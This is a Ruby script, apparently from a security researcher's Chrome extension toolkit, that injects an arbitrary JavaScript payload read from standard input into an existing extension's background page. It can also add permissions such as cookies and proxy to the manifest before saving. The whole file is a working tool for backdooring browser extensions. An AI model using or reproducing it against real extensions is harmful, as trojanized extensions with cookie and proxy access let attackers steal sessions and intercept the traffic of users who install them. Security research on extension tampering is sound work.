#!/usr/bin/env ruby
# encoding: UTF-8

# Authors:
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net

require_relative 'chrome_extension_toolkit.rb'

def help()
    puts "[-] Error. Usage: ruby inject.rb <extension-path> [permissions] < script.js"
    puts "Example: ruby inject.rb dir-with-extension 'plugins,proxy,cookies' < inject.js"
    exit 1
end

begin
	extpath = ARGV[0]
	if not extpath
		help()
	end
	t = ChromeExtensionToolkit.new(extpath)
	puts "Loaded extension in #{extpath}"

	manifest = t.get_manifest()
	puts "Existing manifest: "
	puts manifest

	# injecting any script from stdin
	puts "Reading payload..."
	payload = $stdin.read
	puts "Injecting payload..."

	injected = t.inject_script(payload)

	print injected

	if ARGV[1]
		perms = ARGV[1].split(',')
		puts "Adding permissions #{ARGV[1]}..."
		t.add_permissions(perms)
	end

    puts  "Saving..."
    # write
    t.save_file(t.get_background_page(), injected)
    t.save_manifest()

    puts "Done."

rescue Exception => e
	$stderr.puts e.message
	$stderr.puts e.backtrace.inspect
    exit 1
end
